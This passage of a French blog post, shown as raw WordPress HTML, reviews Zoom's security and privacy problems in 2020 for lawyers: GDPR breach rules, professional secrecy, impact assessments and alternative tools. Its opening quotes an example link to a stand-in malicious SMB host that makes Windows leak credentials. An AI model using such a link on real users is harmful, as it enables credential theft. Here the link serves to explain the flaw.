login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de visio-conférence révélant le ID number du meeting et les images des participants accompagnées de leur noms ou pseudonymes peut être considérées comme une rupture de confidentialité,</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du conseil ou leur AG.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés à propos des manquements de cet outil, comme le New York Attorney General investigations demandant aux écoles de ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant la popularité de cet outil de visio-conférence, les cris d’alarmes continuent à se faire entendre contre l’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“<a rel=\"noreferrer noopener\" href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\">Jonathan Leitschuh</a>, exposed a flaw allowing hackers to&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\">take over Zoom webcams</a>. The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade Commission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\">Zoom</a>&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user. As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks,” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">the complaint alleged.</a></em>” </li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to \"open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\" <a href=\"https://lnkd.in/epjxHgw\">Here’s the press release</a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy,” said Attorney General Tong. “ In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform. • Consult your software company’s security information or your IT department. <a href=\"https://lnkd.in/gRcq9x2\">Here\'s the press release</a> <strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être la responsabilité des juristes en matière de traitement des données consécutifs à l’utilisation d’une application qui a soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. La loi du 31 décembre 1971, et plus particulièrement les dispositions de son article 66-5 impliquent qu’« <em>en toutes matières, que ce soit dans le domaine du conseil ou dans celui de la défense, les consultations adressées par un avocat à son client ou destinées à celui-ci, les correspondances échangées entre le client et son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières de celles portant la mention « officielle », les notes d’entretien et, plus généralement, toutes les pièces du dossier sont couvertes par le secret professionnel</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La CNIL explique&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L\'AIPD&nbsp;se décompose en trois parties :</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Une description détaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects techniques qu’opérationnelsL’évaluation, de nature plus juridique, de la nécessité et de la proportionnalité concernant les principes et droits fondamentaux&nbsp; (finalité, données et durées de conservation, information et droits des personnes, etc.) non négociables, qui sont fixés par la loi et doivent être respectés, quels que soient les risques ;  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus technique, des risques sur la sécurité des données&nbsp;(confidentialité, intégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur la vie privée, qui permet de déterminer les mesures techniques et organisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement envisagé figure dans&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\"><em>la liste des types d’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a estimé obligatoire de réaliser une analyse d’impact relative à la protection des données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement remplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices du G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage à la mise en cause de sa responsabilité. Les ordres professionnels devraient être sensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une solution conforme aux exigences du règlement. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook&nbsp;</a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Ta</a><a href=\"https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\">bleau Comparatif NOYB</a><a href=\"https://bit.ly/2yoXVIG\">&nbsp;&nbsp;-&nbsp;&nbsp;Pour&nbsp;la&nbsp;version&nbsp;avec&nbsp;liens&nbsp;actifs,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre <a href=\"https://bit.ly/2wLRJKs\">tableau comparatif produit par l\'Autorité de protection des données</a> <a href=\"https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf\">Hollandaise</a> traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law&nbsp;CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR 